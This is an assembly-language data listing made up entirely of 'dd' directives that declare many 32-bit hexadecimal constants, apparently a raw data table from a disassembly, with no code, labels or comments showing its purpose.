dd 8CCA16ADh, 396DA652h, 0B53D8A41h, 0BB9A266Ah, 0AEA83658h
dd 0D48FB9C4h, 97DB4295h, 33DEBA01h, 84404D3Fh, 7A891E4Fh
dd 0F4ABAA76h, 0D6C682ACh, 0C5A6E774h, 58774453h, 7B016B06h
dd 0A07B11E6h, 63D2B7EDh, 22129706h, 3E803369h, 534B7962h
dd 3CC6DEBBh, 8C47B639h, 2610A65Dh, 0DDAA640h, 0CE8AE55Bh
dd 7C35D0E8h, 2A56926Bh, 0A7CA8F51h, 0F17D667Eh, 4DEE529Eh
dd 0E33E7866h, 2EAD33C5h, 22E08906h, 6A599F1Ch, 3F9F390Ah
dd 7AFEF221h, 0ABC06DB9h, 76077793h, 87DA16B4h, 0DFE34013h
dd 701D19E0h, 167BA378h, 55E85F32h, 0AA6ADE36h, 0CADABAE9h
dd 0C8BB2E94h, 0C664B85Eh, 4685BCB9h, 1AE33BABh, 0E5FDEDD4h
dd 1EDE48F0h, 0EE08351Ah, 4198FEE4h, 8650927Ch, 398D23A0h
dd 369D92ABh, 5B04D0Fh, 37C50CF7h, 33D4485Ah, 683028E3h
dd 0AE0CE582h, 15AC92CDh, 0E5ADCB18h, 175F17D7h, 544ADD63h
dd 0C797D13Fh, 0DCAC67BEh, 896371E7h, 0F9B4B619h, 2AC415ADh
dd 0BA3FDD7Ah, 7B277966h, 0D48F5024h, 10F887A1h, 7A46E173h
dd 2E29B489h, 25B62207h, 41B9678Bh, 0C1470A00h, 4C795CA1h
dd 60AF5FA3h, 1B19B800h, 7BBC33FFh, 0A37457C5h, 7FE760F2h
dd 0E0A4B6FCh, 0C3CFEDDCh, 0E7A4000Ah, 0ACF81A3Eh, 7C34D4A3h
dd 24561273h, 0BEA75BE0h, 0AD540B15h, 6230CCC8h, 9F648F38h
dd 26A9D435h, 8A1174D1h, 8DBA4004h, 70ED2D15h, 0D47378FCh
dd 83DF13C6h, 0E9AC86F3h, 4019F623h, 0F9ECF8F8h, 0D8C55113h
dd 71EBD953h, 4961E6B2h, 539B3457h, 50E2AC35h, 7D2EDA6Bh
dd 0FE20FB62h, 9D1FD196h, 4555A85Eh, 0FAC7AE3Dh, 0B4011B68h
dd 62A06720h, 0FA35FE55h, 318291DCh, 0C8E72F82h, 88C991F4h
dd 503F6991h, 68CDDD60h, 0ADA2AE04h, 721E7815h, 3EE6C56Ah
dd 82CAEBA3h, 4FDD0B5Bh, 0EA40CEA1h, 3335E7C2h, 0F0DC3D1h
dd 0FC28FB54h, 0AC774ACFh, 2149B50Eh, 0CACD3003h, 27E02B5h
dd 6F07B4F2h, 84CE82F9h, 264553F8h, 0C1113DB7h, 0D1579346h
dd 585CD0Fh, 0B29999F4h, 0A24B59C0h, 5F0968DFh, 902F2D3Fh
dd 0ADBEA020h, 0AA0D4737h, 0ACFDCDB4h, 3F932Ah, 38ACA485h
dd 0B497D9D4h, 0ADD32535h, 0D7C16446h, 9270D7F6h, 76DC9A38h
dd 0A60BAC0Dh, 0F6A46259h, 49F220E9h, 0D122519Ch, 1B41CE81h
dd 68B502F4h, 0E801764Eh, 160CD4CFh, 571EBA7Bh, 0F1EC859Eh
dd 824F1F83h, 10C2292Ah, 26086023h, 723AF1B6h, 23FEA46Ch
dd 0C87C4B1Ah, 422190A5h, 5F3F6C9Ch, 11DEBEEBh, 1E42EC5Fh
dd 44B9E204h, 68AF5056h, 56652743h, 85379CA4h, 6248420Ah
dd 748EE107h, 5218BA73h, 0A71F6A61h, 8C25833Eh, 0E89A5C27h
dd 0FF1C95BFh, 12E3671Fh, 1C83A8CDh, 59F6B05Ch, 0D960E715h
dd 0BC3D24FDh, 0B8A854BCh, 238A6CD7h, 4AB9DDD1h, 0C4B01F1Ch
dd 87990368h, 9C4FA6B1h, 6E9327F4h, 8E512C0Ch, 7EC65AFFh
dd 0D999CA9Eh, 9B5906ADh, 16E23460h, 7CBBD067h, 549F5BB4h
dd 0A16BC67Dh, 39F07795h, 3DAFA714h, 0AA8C9E37h, 0FD5E84A4h
dd 0CE8DEF37h, 83CEA7C3h, 705F636Ch, 88687827h, 2C1A4EC4h
dd 4222A3AEh, 0DE88B53Ah, 0E0B7AE94h, 69AC982Dh, 0AD89309Ah
dd 2F58E6BBh, 454D54CBh, 485E9F48h, 21213EC5h, 0F8714C54h
dd 49CFE65Fh, 5E1A5793h, 2EE52F80h, 0A7FCF93Eh, 6E6B800Eh
dd 7C0DC3C5h, 0F43F365h, 63EA014Fh, 0D3EBB48Dh, 191759EDh
dd 0FA3C0D8Fh, 34E914B1h, 0EBDDF857h, 0A23A1469h, 1722CD9Bh
dd 296DEB70h, 115075F8h, 67A74454h, 0FD121ACBh, 0DA83F34Ch
dd 223D97BFh, 0B66D65F7h, 5E611E9Ah, 496E8FBCh, 34E3144Ah
dd 4314C73Ah, 28AA6393h, 21F2F034h, 0ED1EB39Dh, 0D775CD4h
dd 7EEE61C7h, 4B4A0B97h, 0EC42CEFFh, 9975E878h, 7BA663D7h
dd 6395B371h, 0E7DB54D9h, 60AA2D2Ah, 917984D5h, 0F6E83AA0h
dd 3D1012AFh, 13D08599h, 0C683A1C8h, 4DECAD6Eh, 9128F40Bh
dd 0B4825F35h, 478B21D8h, 44EE08A7h, 5727892Fh, 0C565D4D8h
dd 2EAB5C0Fh, 0F0D8DD1Ah, 6C6C8BCCh, 7537CEFBh, 0C6ED2187h
dd 32828F2Bh, 49394E50h, 0A5589B61h, 0BCC07302h, 0AE0CAE64h
dd 456B0976h, 942E4359h, 7C21C6ABh, 277ED271h, 0A91E34B0h
dd 0F08574Dh, 3B68F32Dh, 42410063h, 853B88ECh, 4E9BB816h
dd 0BF7199EFh, 8C751EC3h, 931E2820h, 0D69C5DBCh, 0C03896ABh
dd 6533F7B1h, 760D2614h, 334B0328h, 6B79DD1h, 2F6D37D0h
dd 8D317A75h, 1987C953h, 9CF664F5h, 0B9538E1h, 0C84C9F69h
dd 90A9E080h, 1604683Eh, 0DCA404Ch, 9BF16223h, 0F2B452FDh
dd 0F9C638CDh, 2D323BFBh, 3A1E8A85h, 25FCB17Ah, 7B9369A5h
dd 0F9ECF378h, 154EA5D1h, 0ACB58EBCh, 6FA7FE82h, 0EF0AA3CEh
dd 0F8D8ECECh, 3CF2356Dh, 51AE7351h, 80CE2524h, 11868BF0h
dd 0FFEEB574h, 79005656h, 0A5E72E04h, 14BA8888h, 0B60FBD00h
dd 43231E31h, 752948F2h, 58BD1027h, 0BD54F127h, 7A6BB8C4h
dd 0D6569061h, 60101B6h, 3A3183h, 932AA4A0h, 0F3E30EB8h
dd 0F3DD5E70h, 0A3B7EC14h, 0EE24575Fh, 0AED5CE42h, 0C061EDAEh
dd 9D421ADAh, 9C69D607h, 0D0E16C2Dh, 0B215BC94h, 91550F3Ah
dd 33E240E1h, 0AE02523Eh, 7C6B493Fh, 0FDF5B6D4h, 0C23CD0CEh
dd 655ED56h, 0F638C15Eh, 8F6C25FFh, 0E9CB0065h, 2F5F9649h
dd 0C635BF65h, 0F05F6C1Fh, 6FBB20D8h, 373B9B0Ch, 473055E9h
dd 0C4BF11Dh, 651898FBh, 9DB5E83Dh, 8E58AA6Ch, 2FDD984Fh
dd 204994BEh, 4BEBC9EAh, 3B696A10h, 0F2BDD2EDh, 0FA6E78F5h
dd 0B6188FC2h, 7F9C5BFFh, 0B2A54979h, 53D55653h, 0B3B26B60h
dd 1AB58B88h, 0DCB613F0h, 2FB1D43Ch, 9051340Fh, 0C7AA4731h
dd 0C45372F5h, 910A2726h, 2B782A4Dh, 8C790A93h, 69D95156h
dd 460890EEh, 90723D67h, 1E357D85h, 0D7E597D6h, 9F782348h
dd 8EBF289Bh, 0D06969EBh, 4BF2005Bh, 1F379058h, 13B02D59h
dd 76882C6Bh, 962E9A17h, 0AA4AA466h, 0D2940FB8h, 9CE95E10h
dd 57F3E7AAh, 4D489EE4h, 31971193h, 0BA349474h, 3CF8F7D0h
dd 0A9CEF625h, 0C31D52F4h
dd 0E417A598h, 6680A33Ah, 1FE077B8h, 0B9F2B806h, 0B77E6B53h
dd 0C28C4169h, 0C2A0E983h, 7220B538h, 2FE36DCCh, 0BC09B9E6h
dd 7ACF007Ah, 33FF8FF0h, 2F03BADAh, 0EC4A2038h, 7FAF4B38h
dd 3A92748Eh, 0BD855FB5h, 0FB367F16h, 0C0DEE05h, 8E2A279Ah
dd 6000C287h, 81518C1Ah, 617C683Eh, 7801C9AAh, 6606A30h
dd 0DE9489Dh, 0C6AEBD02h, 26A935B3h, 9080C76Dh, 0A14DEEA1h
dd 0EBBB6D0Bh, 9E4EF4A6h, 0E0041E2Eh, 344B21A9h, 379926FAh
dd 4751F4B7h, 39D4D2ACh, 0B4589D6Ah, 0A3D3A5D6h, 5C602EF8h
dd 0CE1D0B85h, 7E3E8769h, 0F90854E9h, 158BB41Dh, 61647EFBh
dd 99F207D2h, 0DCE8FEB7h, 0C45A5096h, 0DE86953Fh, 9C9C371Bh
dd 0F1A248DAh, 0D0CFEE14h, 46845BCFh, 9CB3CF50h, 8E8AF4A1h
dd 0A223E7D4h, 1C1A3669h, 0DB5FFCEDh, 6E29373Ah, 245FE600h
dd 1CBD04FCh, 6284B279h, 61EE8D9Fh, 78D2AA1Ch, 0C5B7084Eh
dd 6E04F8E8h, 0A71F8C79h, 57AA7851h, 726BDF54h, 0CA9108DCh
dd 0C2430D1Eh, 72EF148Bh, 7FF4522Ah, 3CACB7D1h, 3F9C1681h
dd 2BBA6563h, 0F08FC00Eh, 1B30F145h, 17B8228Ah, 116CEEC4h
dd 1915351Fh, 67489882h, 19D8AB85h, 6EF8AE87h, 44E87B9Fh
dd 0DD757EF5h, 0C2CA8641h, 0B4EB4C8Dh, 93E395DFh, 0A366B67h
dd 3B5F65F5h, 0F3A3FA13h, 6F4841CBh, 89C6E5D6h, 0BE3FBCCBh
dd 8DB52F12h, 0EF43DD8Dh, 0B1A80A46h, 14553AEEh, 47A9EC8Eh
dd 83517367h, 0F65250EFh, 0E786C404h, 2200D6FFh, 6575C5D2h
dd 91DED4B6h, 6073AB5Bh, 0C4676B6Bh, 0F549DE1Ch, 52A4BB52h
dd 81A4E77Ah, 3EAA321h, 7F61CF3h, 185AF41Ch, 6E8AC087h
dd 5A8A1F1h, 0B3D13820h, 0E247D829h, 0E466BDA3h, 18940434h
dd 2CD05DD6h, 0A10E8073h, 9993116Bh, 0CE7F65Dh, 0DCE0343Eh
dd 218AFEBEh, 0F178418Bh, 6D05E072h, 8DEF16E2h, 89E07AADh
dd 0CBDBBA98h, 3873B97Ch, 3B83A073h, 0E89C53AAh, 0B4FA02B7h
dd 67A65CFh, 4DC3C230h, 77C8DC68h, 772B008Eh, 4DF8D160h
dd 0F3772F8Eh, 4B294C5h, 56308D45h, 77A8B71Eh, 6E273AC6h
dd 0E5EC15F4h, 2766B8C7h, 5E5B80Ah, 39F669B3h, 0C8E8F0F5h
dd 23D40A82h, 3015D32Ch, 0E9F573CEh, 0CEA50BDh, 0BFCE5CEDh
dd 283C9C90h, 0E6B331B5h, 96B93E8Dh, 0F2D47DD4h, 275DF17Fh
dd 571D344Ah, 34B72C50h, 93D01F87h, 9CBE1468h, 0EB50B1B0h
dd 74444BFCh, 972E0939h, 0FDA02021h, 47457141h, 7812EDEEh
dd 7AF847B2h, 91F8D156h, 0A91EC51Ch, 0EFE2A3DFh, 941AE9A4h
dd 9319848Ch, 0B2B45C5Dh, 9103AF33h, 2C540513h, 1E5CE6BAh
dd 69461656h, 0B7B840D4h, 0B5BA255Eh, 0E01143D4h, 382C4F73h
dd 29ED428Dh, 975FAD16h, 0E7E7DA50h, 402BB92Fh, 725D3464h
dd 561A7D40h, 0E1ABBEBAh, 8D1ACD45h, 0BB1E2A7h, 531CDBE6h
dd 264A3BE3h, 0A06B4FA1h, 0CF769A4Bh, 15652D3Eh, 0DA26D7DBh
dd 3D83BA4Ah, 0C27436B9h, 0DB2FDFh, 0AF36C44Bh, 0FF8822ADh
dd 0F90D94B7h, 221F5DB7h, 147324B2h, 4C8EBA15h, 6CC9FC71h
dd 0A11D670Bh, 0CE37A192h, 4ED62E28h, 161C8AE6h, 1FA946B9h
dd 36EC6BB1h, 0AA3EAD2Ah, 0DCB6D5Dh, 4CB7E595h, 7F1BE76Bh
dd 0E69D7B78h, 0B10C7C42h, 0EB0C9D06h, 5BB540DCh, 0DF488117h
dd 53667880h, 24A8D20Eh, 7411A2E9h, 0F1AE7FC7h, 0DA2FAEE9h
dd 7859721h, 1550A037h, 88BA675Ah, 0A2E94E1h, 0ADABA87Eh
dd 0EEE730DBh, 0CA1FE8D5h, 0F988473Fh, 3EDEA9B8h, 51A6E537h
dd 5152293Ch, 0B45CAC4h, 0D93E6C85h, 0D61CE59Eh, 3AA8EEE0h
dd 0AA78598Dh, 78C40E21h, 0B99055CCh, 0BBC46248h, 5859D565h
dd 82681E8Eh, 49CF524Ch, 0C6837886h, 22C8F0DFh, 0A75381ACh
dd 709E43F6h, 20B080Eh, 87C207E7h, 0A074A86Ah, 29EDF7A6h
dd 0D8948E87h, 0A0743BB3h, 318324A8h, 513EAB69h, 12EBD077h
dd 86ECE0AFh, 0C1324D92h, 5936C416h, 0D842AB4Ah, 5E1224A5h
dd 0A87AB030h, 0A456636Fh, 9D900AF3h, 0E6F2F37Fh, 23B4B763h
dd 9D9ED841h, 0A11D4C13h, 399E0E4Fh, 0FE60D911h, 42260A27h
dd 0AD21A7B0h, 15D192A7h, 0B09CCED6h, 73D0A5D9h, 0E6C37436h
dd 8C899748h, 2FF45796h, 0D3B55903h, 1AC3B337h, 557554B5h
dd 0C258DFB5h, 0F4412A22h, 0E5079693h, 0A1589B07h, 0A7D6ACD5h
dd 88E950BFh, 23B1C31Dh, 0E4617B02h, 0AA6F35CDh, 5DDFC626h
dd 0E4317F28h, 43A4D629h, 0CB8CE394h, 0C88E1101h, 7F00D175h
dd 0FFDE6F32h, 53F7E707h, 3BAFEBC8h, 0EB3E77CCh, 97A08191h
dd 95D58F2Ah, 1DDD402Fh, 31F5BA4Ah, 5DF3AF74h, 6D1C28DAh
dd 9D29E5DFh, 0BB381A2Bh, 0F9A52282h, 0B2C4A263h, 3B06BDD7h
dd 0E1FB1058h, 0DE07E67Dh, 0FBE4D96Bh, 57406C3Eh, 69645D6Ch
dd 0B09593BFh, 14BCE665h, 0CE9EEEECh, 6649A58Ch, 2A52430Fh
dd 79FCFE78h, 0B3B8889Dh, 561BAB48h, 79FFABC3h, 53BD7C5Ch
dd 0F132B290h, 637C8AF3h, 0AF8C13BBh, 0DEAA4EE3h, 3A71FBBEh
dd 9ECBAB1Ch, 7C0FD97Ah, 0D5F6CFA9h, 0B3B37918h, 0CDD9C2Ah
dd 0E55A6F5h, 0D24F5A45h, 0D64ECBA2h, 1F512F02h, 8F764F46h
dd 8D76EA67h, 0F3B560FFh, 6F9F6C6Bh, 8DE1BC55h, 0E2FE7018h
dd 4D3599B2h, 4A212010h, 9DCF463Bh, 0EB866849h, 25A4E5F6h
dd 4D9FE406h, 0F2A26CC3h, 8CE5A85Bh, 0AB811203h, 0A9EC68C7h
dd 0C99EA8C1h, 3F20EA4Eh, 2F41E0E0h, 689876DBh, 0ED81BF77h
dd 11981CD5h, 5EF67E61h, 34713FC5h, 0A8F68B3Ch, 0C53A5921h
dd 0FCBB89D4h, 26F902AFh, 0A2E805C8h, 44A2098Bh, 1CC1D924h
dd 1C829A05h, 0E2677D35h, 0AA6505BAh, 1BD24019h, 0A20245F5h
dd 0A2C763A5h, 0CB295BEBh, 0BDEDE9D9h, 22948999h, 0CAB9EEBDh
dd 96ECDB3Eh, 1D8906CBh, 0EE4E5B96h, 0CC0C37E3h, 0F8AD3F95h
dd 7E00CD00h, 0C07D2819h, 80FC96E1h, 0D3D3F5B4h, 0A573DB6Fh
dd 985CBADAh, 8135F069h, 0D5FA2460h, 0A59F5B11h, 0A026F910h
dd 69738DFAh, 3BC9D761h, 4F6B8724h, 11596C8Fh, 0F3F85E6Ch
dd 0F68D8A1Dh, 1ACAB504h, 6FC6A635h, 448F3BDAh, 7B8EC3E7h
dd 0C4728E0Fh, 7F9EC2ABh, 94E1B5B5h, 0E6FE6CE8h, 57AABB36h
dd 99F381F8h, 0FE4F5719h, 6BB99711h, 0C8E04DFDh, 78860F15h
dd 3AE7869h, 1342BC5Eh, 1890DBD9h, 1CDE4054h, 2420C0Ch
dd 6D38C015h, 0F9F90026h, 0A6F84936h, 0D8ADCC6Bh, 76E91025h
dd 0BB248AEAh, 95ABB5CCh, 569F3FE7h, 3199DE01h, 0A0109494h
dd 229AB2F9h, 5D1EE899h, 822D52F9h, 0F7414942h, 15C6C65Ah
dd 6269BC34h, 0BDFF91BAh, 7C33C5D7h, 0C8F4B95Ch, 861289A1h
dd 0E31C7A43h, 0AC416D2Ch, 343BA24Bh, 0F61C48C5h, 1ED78286h
dd 0AA166B7Dh, 0A52B5B75h, 43043F7Ch, 0E181036Eh, 1BE91867h
dd 0F24954B6h, 0DBFC5922h, 0F48004EDh, 9182D307h, 0A53927E3h
dd 14530B5Ah, 26EE09E2h, 0F4AFFF41h, 417B8A37h, 6C9D0581h
dd 0DC7D2ECCh, 57038598h, 655BB978h, 723D9A4Bh, 1D34EA79h
dd 0A34A709Fh, 0D343051Fh, 198902B7h, 0BBAD6F8Ch, 4CEC5A8Fh
dd 8AC576F6h, 0B34AA939h, 86CA7857h, 2A184347h, 0BFFD13AAh
dd 3177B920h, 0D856D465h, 0E5104F54h, 0E769651Dh, 8EA6EEDAh
dd 3CB3EB26h, 63077ECAh, 2C1D9529h, 3843473Eh, 612F4D1Eh
dd 0E5D6D740h, 0A9867CD3h, 531F4732h, 8A1EE379h, 26E19861h
dd 0BD234533h, 0BA774C94h, 0EE81C383h, 0FAD836D0h, 0A41F5D10h
dd 0ED090FFDh, 1B63D15Fh, 83E834EFh, 2D7EABE1h, 0F24C3B38h
dd 0C52EDCE8h, 919FB86Dh
dd 0C802385Ah, 0F3F8A811h, 1F1C5F60h, 481628A9h, 5B7EA26Eh
dd 0A48C6DBDh, 64C4CE03h, 5C7BFE8Ah, 0C560FAC2h, 0C4E9BE50h
dd 0B7A3E093h, 7068F5BCh, 5874AB46h, 0A902FC8Bh, 0E6EBE004h
dd 499E48E6h, 89F49687h, 2A5CECADh, 37C341EDh, 0C5674712h
dd 0A0BAFF11h, 9B459CCh, 3E0F78CAh, 0AF6BC79Fh, 404C7CFEh
dd 4A2DCC53h, 0C617A299h, 0A36E3EE6h, 1B06CF1Dh, 210B9148h
dd 0CA8B7560h, 0ACE34CF0h, 1FB5CE56h, 0A14A03F5h, 0B7A76C8Fh
dd 531EBBC6h, 14BD1FF8h, 592E135Eh, 60DA8480h, 257878CEh
dd 0C6996565h, 99BEEED6h, 0A3483DA6h, 0CF6BF74Ch, 90CE80BCh
dd 0E8952854h, 0C5AC567Eh, 57A9C5E0h, 0C2D3863Ah, 0D5E05FCEh
dd 74E90CE5h, 12468EEBh, 5382BFCCh, 9197FC14h, 0B8A2641Bh
dd 904349F8h, 0AB9017D8h, 38998001h, 0F7F1C94Ah, 0B2EF35E4h
dd 457D3E2Bh, 860935DEh, 0BCC77632h, 12DF5C55h, 0B80B92DEh
dd 0EE0704FEh, 1D69652Dh, 0A36DFC6Fh, 0D2564DBCh, 821C6D86h
dd 0E6745898h, 1C5BE971h, 263AA751h, 0BC7D6C49h, 0CFBF3F24h
dd 9CA6ACBFh, 8610AB77h, 9D977C8Bh, 7BDBC84Bh, 43537B6Fh
dd 31880A76h, 404C72C5h, 0C23CC70Ah, 8FADAA41h, 291148F9h
dd 0F9A5AA1Ah, 7DF0DEB7h, 409DCE0Fh, 0AD2A85D0h, 0B7B7DC24h
dd 6A5EFA98h, 5E2A0B70h, 974F1C03h, 8A2D6D19h, 0B86C7932h
dd 25E60F62h, 47BE4354h, 0BCBA52FAh, 0ABCD8E4Dh, 0F2F157A8h
dd 8DD8865Fh, 27288696h, 0B38668EBh, 0E838330Fh, 9B990F97h
dd 1E029111h, 10C547AAh, 0FF1DF5B3h, 0EA786884h, 0DF98A8C1h
dd 0DA2F55ADh, 0CDFA7285h, 0AA1BF139h, 0F93F7022h, 1A91F16Dh
dd 0AE327917h, 72B5A102h, 0B07004BEh, 0EF93013Ch, 9849CC7h
dd 0D81E7D0h, 56634B18h, 2A613EE5h, 0C63939E9h, 0C82F561Dh
dd 0B11D9F9Ch, 0C874147h, 980AB191h, 0E077C068h, 0F572E132h
dd 825A5189h, 37DB837Eh, 0B26B3680h, 0D5478F3h, 5979CB5Ah
dd 1EB4E98Dh, 2D1BA4ABh, 0F0E9C861h, 0ACF8FC89h, 0F85B99DEh
dd 0CA9FA83Eh, 4B0DAF1Fh, 0B1EB600Ch, 0C88FB438h, 80CCFA0Eh
dd 0E71D435Dh, 0E18E4782h, 0CE1F3514h, 286FDD00h, 2B76700Ah
dd 253F15A9h, 0D572D0A7h, 0DABE030Fh, 86B613BFh, 368C87ABh
dd 0A3940C0Fh, 5C7E401h, 0A3761A47h, 1389B567h, 3B5BB76h
dd 3D226AA9h, 0A4B4464Dh, 0AE58E457h, 64294550h, 2341978Dh
dd 0B3A7A476h, 0FF5397D3h, 41A025FBh, 99628A87h, 43DB7BC9h
dd 0E6405752h, 0D7672A01h, 69F094A1h, 953C6F2Ah, 0F43DFE7Bh
dd 82D77F0Fh, 0A247B06Ch, 0F862F32h, 864B8C0h, 351E468Eh
dd 63DC5680h, 578D49BCh, 7464694Eh, 0C5793687h, 3168900Fh
dd 3512A08Dh, 82766C55h, 9CBB895h, 0BA2CC420h, 62B1E2CDh
dd 5CBEF9A8h, 3171AEEFh, 720A31D9h, 6E826C05h, 53E35676h
dd 0BCAEF6EAh, 0E0969891h, 85DCE89Eh, 8829240Bh, 613AEE25h
dd 0A6EBA0EBh, 0BF67344Ch, 6D613BAEh, 0FDA26202h, 11DAB32h
dd 0E00C9449h, 24E95D4Dh, 85D92B83h, 15BFEA03h, 1DB41459h
dd 3C2BB6F2h, 92633341h, 0A51F0D12h, 386CDE4Fh, 2935FAADh
dd 7B978534h, 0E0621C92h, 0F09A7692h, 39C69A00h, 0A7BC2BD7h
dd 6CBE1027h, 1A887ED7h, 4630AA81h, 0CCE3E2F2h, 0CFB21AD8h
dd 734DC335h, 3F2EC109h, 3D128F02h, 5B51D433h, 0D0272E11h
dd 871390C5h, 478024DBh, 99698A17h, 0D2B9EC15h, 3CFC57DDh
dd 84552EC0h, 0EB259512h, 13314733h, 0BA58A93Bh, 84F8A00Eh
dd 873F3CD2h, 2B83A732h, 7E647CC0h, 951DA48Eh, 2A9F1A6Dh
dd 0B91AFC5Dh, 0BF4488E2h, 49F89DEBh, 4368D445h, 0A2F2A738h
dd 7E90E8FDh, 0AE2F3DFCh, 45E53660h, 6FB00537h, 8EC89424h
dd 206791D2h, 0A4F49972h, 0E16F0EFCh, 8C0D5B69h, 61DD2669h
dd 0E6320284h, 519E1F8h, 44832420h, 51CAD151h, 28FBCECBh
dd 889037A4h, 8BC8ACB2h, 3FF9DE2h, 2EF0B58h, 0AA3B79F3h
dd 99EBDADDh, 0FCA7F494h, 0F53F1AF2h, 0AB977428h, 0BBA6A3F5h
dd 8A196A8Dh, 0E7E54EBCh, 2D5E25F0h, 9917AEABh, 408278F2h
dd 9A81E3FAh, 0DB9BF3DDh, 0B0280B20h, 5C75D2A6h, 1A08152Ah
dd 3EF2377Dh, 0FB776081h, 0D36CBA98h, 93CA17DDh, 844AB1D8h
dd 0B7B8DABh, 95C45F5Fh, 0AB60EB2Eh, 4A12B8D7h, 0C93997FEh
dd 0CD0DB9D3h, 0B0A98634h, 8EF20DEDh, 3E710255h, 0D35FC29Dh
dd 0FECB80C2h, 5BC0298h, 0B1B413DBh, 0ABB3F0Eh, 0F284993Bh
dd 55DA66Bh, 0E366232Dh, 3D252613h, 8C8C87CCh, 51DB0237h
dd 0D1E78A07h, 0E480281Fh, 0D1053CE3h, 493A72Dh, 69AE3DD7h
dd 7A4CC21Fh, 2FD3C74Eh, 626CD2C2h, 3150B4AAh, 0F8E4F145h
dd 960CA4DEh, 3657F602h, 3B1CBD89h, 8A69E87Eh, 0EEE4384h
dd 0FC18E581h, 577BD99Bh, 5FEBFDE1h, 284FC1FBh, 1DC4CEECh
dd 0E1BC968Dh, 0EC7148ADh, 7DD7DEA3h, 9FFAE4EEh, 0F9351AD9h
dd 0C059EB23h, 0A5B28EBEh, 94061446h, 0BF431F79h, 0BBF682A8h
dd 321F3497h, 0E1612893h, 6967CAC2h, 992F7C8Dh, 7EA84F57h
dd 8D9A0C58h, 0C2760B10h, 0B061EA4Ah, 7EC0ED33h, 490B5491h
dd 7EC77B37h, 0F7FC821Bh, 0F51012DFh, 225D02FBh, 0EE444A27h
dd 0C74F83C6h, 9D389C31h, 3F37C3C4h, 4E86C045h, 0E5D11369h
dd 15B56DCBh, 0DDEB155Bh, 0C91330Ah, 0DF393CDEh, 705B83BCh
dd 38F71854h, 0C02CD708h, 9AF38A3Bh, 0DA885CBDh, 0E32AB2DEh
dd 0D26544D9h, 320249F2h, 0F0B3AB3Dh, 831B7ECDh, 0BA6CCC9Dh
dd 0BCE0C3ECh, 91E8C251h, 444670B6h, 61E0CAADh, 0F500A4F1h
dd 9FEBD3A5h, 1D306A0Dh, 0A87ED4DCh, 0A0C4B17Ch, 37EB29B2h
dd 3E0EDFF0h, 0A7182A3Fh, 0A03AF7Dh, 0D953A90h, 22EE071Eh
dd 9F6088A4h, 0DED1D379h, 0EA98C707h, 0A0D826C7h, 8ED2E805h
dd 0FD999F2Ch, 0FE88BD80h, 9CADEB8Ah, 3BF45C84h, 54443496h
dd 612BBADAh, 19912F71h, 4A24E7B7h, 0A693F2FAh, 5D2049D3h
dd 57E1C40Eh, 0C4EB9C99h, 0EA5EE342h, 23325E02h, 4B8A4B8Fh
dd 3CC14A7h, 0CCC1183Bh, 731FA29h, 0C5DE8ED3h, 842E2AC2h
dd 937DB6C6h, 0AB18FADh, 0D13C790Dh, 0FFA45AB8h, 10C485Dh
dd 0B54774A5h, 8AA7E190h, 0A3B9A6F1h, 65240F7Ah, 0E96921F9h
dd 0CAD17533h, 3580A002h, 1512C112h, 0F9FF0AD5h, 1F289ED6h
dd 0CFA51BC3h, 0A8E8BFAh, 0DF797191h, 298DCF28h, 6CEA2F0Fh
dd 88C14508h, 4652A33Ch, 7D084038h, 54B71028h, 0C088DA13h
dd 1FE0AC74h, 503E1FD8h, 9A263D3Ah, 453389Dh, 96433DCh
dd 835DE575h, 0EF3D34D3h, 654E1817h, 0A84B64A1h, 3D62DD76h
dd 0EE8D56D9h, 6F8BB093h, 0CF704F0Eh, 3A673171h, 7249879Eh
dd 21431168h, 302B919Bh, 0E3D4B9DCh, 8FBBF9BEh, 888A9FEEh
dd 8BDC5792h, 0E2E46E65h, 0A4C19h, 6078AFADh, 0E5C8C5B3h
dd 5D461CF4h, 0BCDF730h, 0DB1879ABh, 868B19A3h, 1C007C66h
dd 855D4F4Ch, 9F05E56Ah, 0BD2E4266h, 2EAAF457h, 7C125078h
dd 41B3175Dh, 7CDEE8DAh, 5FA24C44h, 45D67A95h, 0A6FDCAB6h
dd 1FB2FF39h, 0CD9E6795h, 0B0DC2A2Bh, 0BB4845A3h, 884FE45Dh
dd 0EBEEF6F9h, 0D6C3313Bh, 0ADED372Dh, 7A3AEDFFh, 0C927BEB7h
dd 0DB437B8Ah, 0E7947DEAh, 728BD081h, 1703A6ECh, 52F9DDA3h
dd 13030F0Eh, 0DA8EBEABh, 0A4B284E6h, 9B9ED40Fh, 0B63C2D76h
dd 0D0A455DAh, 0BEEF40BFh, 0E2CC896Ch, 0B32F2CBFh, 0AB8C6480h
dd 71E3C07h, 0BB254232h, 1C9BA667h, 2212454Fh, 60CF0437h
dd 52EC4D5Ah, 0C7178428h
dd 7482D23Ah, 8ED86649h, 0E75A40DCh, 0DCAAF3D3h, 0B7989E96h
dd 3A258A17h, 31A00CC7h, 85BE93BFh, 77203CC8h, 0FD7F6082h
dd 64E5DD99h, 82F6FBA1h, 77117580h, 5F8C2D9Dh, 0B99F7F34h
dd 6FC45FD0h, 9BF5D7A8h, 72EF3318h, 5E0F7A5h, 92B6443Ch
dd 0E17D881Ah, 46F8EDB4h, 59E221E6h, 27534941h, 0A9DA001Ah
dd 0C3D5145h, 1CD8F378h, 5E231015h, 0E6FE8C09h, 5DA70E03h
dd 0B14A1EFAh, 0B49ED62Dh, 172854C5h, 0C9097602h, 0CC72305Ch
dd 0D1430CA4h, 984DCE9Dh, 3483C0E5h, 7AE4BA24h, 12FEFEC3h
dd 83F9CC9Bh, 0B32B4B82h, 378AAEC8h, 0D14CDEFFh, 57DEE386h
dd 0D0BD73B9h, 4FCE3CF3h, 0E50C4AEDh, 2D77604Ah, 9D27DB5Bh
dd 849CCC5Eh, 0EAD3294Eh, 0A28BBAD2h, 0A2DA8308h, 0F7299588h
dd 373ECBBFh, 0A80ECC43h, 0BCB2AFFCh, 0D7C2BCF6h, 655823EEh
dd 0B1985FD9h, 0C9043930h, 2E9DBD78h, 0F223E4AFh, 0BD6641CAh
dd 7921D18Dh, 996A0583h, 7FDF8C7Ah, 8C186587h, 1787115Bh
dd 457E55F3h, 0BE4DCBF1h, 4BA9FD3Bh, 4B0C7076h, 82705DA9h
dd 8277710Dh, 0A32EC818h, 508C7D9h, 7F50FE38h, 5466E4F9h
dd 0E847CB10h, 0E8746C88h, 27E3E0h, 0FF1D28FDh, 0D5254C09h
dd 3BE397BFh, 55D868BBh, 0E79DF820h, 0D49F8FCCh, 0A61D8B83h
dd 0A0630B89h, 359DF033h, 0E4981046h, 28F7312Fh, 0D4ED7F92h
